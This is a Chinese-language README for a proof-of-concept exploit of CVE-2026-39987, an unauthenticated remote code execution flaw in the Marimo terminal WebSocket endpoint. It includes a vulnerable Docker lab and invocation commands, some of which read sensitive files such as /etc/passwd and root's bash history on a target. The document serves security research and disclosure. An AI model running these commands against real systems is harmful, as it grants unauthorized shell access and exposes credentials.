在 Marimo 中通过 WebSocket 终端实现未认证远程代码执行
CVE-2026-39987 是一个影响 Marimo 0.23.0 之前版本的严重预认证远程代码执行漏洞。/terminal/ws WebSocket 端点完全绕过认证,允许任何未认证的攻击者以 Marimo 进程的权限(在 Docker 环境中通常为 root)获取完整的交互式 PTY shell。
marimo < 0.23.0marimo >= 0.23.0/terminal/wshttp:// 转换为 ws://,https:// 转换为 wss://CVE-2026-39987/
├── CVE-2026-39987-poc.py ← 主利用程序
├── docker-vulnerable/
│ ├── Dockerfile
│ └── docker-compose.yml
├── notebooks/ ← 持久化笔记本(可选)
├── README.md
└── LICENSE
pip install websocket-client
# 基本用法
python3 CVE-2026-39987-poc.py http://localhost:2718 "id && whoami && hostname"
# 系统枚举
python3 CVE-2026-39987-poc.py http://localhost:2718 "id && whoami && cat /etc/os-release && ls -la /app"
# 读取敏感文件
python3 CVE-2026-39987-poc.py http://target:2718 "cat /etc/passwd && cat /root/.bash_history"
cd docker-vulnerable
docker compose up --build -d
然后测试:
python3 CVE-2026-39987-poc.py http://localhost:2718 "id && whoami"
marimo >= 0.23.0/terminal/ws 的访问本概念验证工具仅用于教育目的和授权的安全测试。作者不对因使用本工具造成的任何误用或损害负责。在测试任何系统前,请确保您已获得明确许可。
请合乎道德地、负责任地使用。
为安全研究和负责任披露而制作。